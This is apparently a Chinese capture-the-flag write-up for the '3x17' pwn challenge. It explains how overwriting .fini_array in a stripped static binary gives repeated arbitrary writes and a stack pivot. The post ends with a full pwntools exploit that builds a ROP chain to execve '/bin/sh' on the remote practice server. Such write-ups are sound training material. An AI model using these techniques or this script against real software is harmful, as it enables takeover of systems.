有点炫酷的利用方式,不得不承认,确实让我长见识了。
正文:
1 2 3 4 5 6 7 8 9 10 11 12
| void __fastcall __noreturn start(__int64 a1, __int64 a2, int a3) { __int64 v3; // rax int v4; // esi __int64 v5; // [rsp-8h] [rbp-8h] BYREF void *retaddr; // [rsp+0h] [rbp+0h] BYREF
v4 = v5; v5 = v3; sub_401EB0(sub_401B6D, v4, &retaddr, sub_4028D0, sub_402960, a3, &v5); __halt(); }
|
由于符号表完全抹去,所以只能从start函数开始,但要找到main函数却不是很困难
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| __int64 sub_401B6D() { __int64 result; // rax char *v1; // [rsp+8h] [rbp-28h] char buf[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u); result = ++byte_4B9330; if ( byte_4B9330 == 1 ) { sub_446EC0(1u, "addr:", 5uLL); sub_446E20(0, buf, 0x18uLL); v1 = sub_40EE70(buf); sub_446EC0(1u, "data:", 5uLL); sub_446E20(0, v1, 0x18uLL); result = 0LL; } if ( __readfsqword(0x28u) != v3 ) sub_44A3E0(); return result; }
|
经过简单的分析可以发现,程序提供了一个简单的“任意地址读写功能”,但每次只能读取0x18个字节
显然,这完全不够用,不论是写rop还是shellcode,因此当下的目标是希望能够写更多的内容
具体参考该文章:https://blog.csdn.net/gary_ygl/article/details/8506007
本篇博客只进行简要的描述
一个程序从启动到main函数再到结束的这一过程中有多个必然存在的函数起作用,以如下为例:
1 2 3 4 5 6 7 8 9 10 11 12
| void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void)) { __int64 v3; // rax int v4; // esi __int64 v5; // [rsp-8h] [rbp-8h] BYREF char *retaddr; // [rsp+0h] [rbp+0h] BYREF
v4 = v5; v5 = v3; _libc_start_main(main, v4, &retaddr, init, fini, a3, &v5); __halt(); }
|
其运行流程为:
- start函数
- _libc_start_main函数
- __libc_csu_init
- main函数
- __libc_csu_fini
程序在最终将会回到_libc_start_main,并调用其中的exit函数退出
本例中的init和fini为指向__libc_csu_init与__libc_csu_fini的指针
而在这两个函数中,又会通过.init_array与.fini_array数组中的地址来调用对应的函数
结论是:
- .__libc_csu_init
- .init_array[0]
- .init_array[1]
- …
- .init_array[n]
- main
- __libc_csu_init
- .fini_array[n]
- …
- .fini_array[1]
- .fini_array[0]
在有如上知识之后,攻击目标便明确了,如果试图复写fini_array数组为main,则又会重新进入main,如果再加上__libc_csu_fini函数地址,就能实现无限次数的任意地址读写了
若能进行任意地址任意大小的读写,那么只要找个合适的段写入rop链,并让程序返回到这里即可(也可以尝试写入shellcode,但往往没办法找到合适段,也因为找不到mprotect函数,所有不太容易修改执行权限)
本例中的利用方法相当特别,观察__libc_csu_fini函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| .text:0000000000402960 sub_402960 proc near ; DATA XREF: start+F↑o .text:0000000000402960 ; __unwind { .text:0000000000402960 push rbp .text:0000000000402961 lea rax, unk_4B4100 .text:0000000000402968 lea rbp, off_4B40F0 .text:000000000040296F push rbx .text:0000000000402970 sub rax, rbp .text:0000000000402973 sub rsp, 8 .text:0000000000402977 sar rax, 3 .text:000000000040297B jz short loc_402996 .text:000000000040297D lea rbx, [rax-1] .text:0000000000402981 nop dword ptr [rax+00000000h] .text:0000000000402988 .text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j .text:0000000000402988 call qword ptr [rbp+rbx*8+0] .text:000000000040298C sub rbx, 1 .text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh .text:0000000000402994 jnz short loc_402988 .text:0000000000402996 .text:0000000000402996 loc_402996: ; CODE XREF: sub_402960+1B↑j .text:0000000000402996 add rsp, 8 .text:000000000040299A pop rbx .text:000000000040299B pop rbp .text:000000000040299C jmp _term_proc .text:000000000040299C ; } // starts at 402960 .text:000000000040299C sub_402960 endp
|
0000000000402968处将rbp置为0x4B40F0,对应了.fini_array数组,而在这个数组下面还有一个.data.rel.ro段可用于读写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| .fini_array:00000000004B40F0 _fini_array segment qword public 'DATA' use64 .fini_array:00000000004B40F0 assume cs:_fini_array .fini_array:00000000004B40F0 ;org 4B40F0h .fini_array:00000000004B40F0 off_4B40F0 dq offset sub_401B00 ; DATA XREF: sub_4028D0+4C↑o .fini_array:00000000004B40F0 ; sub_402960+8↑o .fini_array:00000000004B40F8 dq offset sub_401580 .fini_array:00000000004B40F8 _fini_array ends
.data.rel.ro:00000000004B4100 _data_rel_ro segment align_32 public 'DATA' use64 .data.rel.ro:00000000004B4100 assume cs:_data_rel_ro .data.rel.ro:00000000004B4100 ;org 4B4100h .data.rel.ro:00000000004B4100 unk_4B4100 db 2 ; DATA XREF: sub_402960+1↑o .data.rel.ro:00000000004B4100 ; sub_40EBF0:loc_40ECC8↑o ... .data.rel.ro:00000000004B4101 db 0 .data.rel.ro:00000000004B4102 db 0
|
而0000000000402988处则会直接call入.fini_array中指向的地址
那么,如果我们修改fini_array[0]为leave_ret地址,rsp就会被劫持到这里,然后通过ret或者pop将其指向00000000004B4100,即可完成劫持,运行构造好的rop链
不过现在一想,这种复写.fini_array的方式实际上是在进行类似于递归的操作,那么程序迟早会被掐掉…..或许在某些时候会成为一种限制吧……
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| #coding=utf-8 from pwn import * import sys reload(sys) sys.setdefaultencoding('utf8') context.log_level='debug'
#p=process("./3x17") p=remote("node4.buuoj.cn",25584) elf=ELF("./3x17")
finiarr=0x0000000004B40F0 main=0x401B6D libc_scu_fini=0x402960
p.sendlineafter("addr:",str(finiarr)) p.sendlineafter("data:",p64(libc_scu_fini)+p64(main))
rdi_ret=0x0000000000401696 rsi_ret=0x0000000000406c30 rdx_ret=0x0000000000446e35 leave_ret=0x401C4B syscall=0x4022b4 poprax = 0x41e4af #gdb.attach(p) ret=0x0000000000401016 p.sendlineafter("addr:",str(finiarr+0x10)) p.sendlineafter("data:",p64(rsi_ret)+p64(0))
p.sendlineafter("addr:",str(finiarr+0x20)) p.sendlineafter("data:",p64(rdx_ret)+p64(0))
p.sendlineafter("addr:",str(finiarr+0x30)) p.sendlineafter("data:",p64(poprax)+p64(0x3b))
p.sendlineafter("addr:",str(finiarr+0x40)) p.sendlineafter("data:",p64(rdi_ret)+p64(finiarr+0x60))
p.sendlineafter("addr:",str(finiarr+0x50)) p.sendlineafter("data:",p64(syscall))
p.sendlineafter("addr:",str(finiarr+0x60)) p.sendlineafter("data:",'/bin/sh\x00')
p.sendlineafter("addr:",str(finiarr)) p.sendafter("data:",p64(leave_ret)+p64(ret))
p.interactive()
|
参考文章:
https://xuanxuanblingbling.github.io/ctf/pwn/2019/09/06/317/
https://blog.csdn.net/gary_ygl/article/details/8506007
插画ID:91513024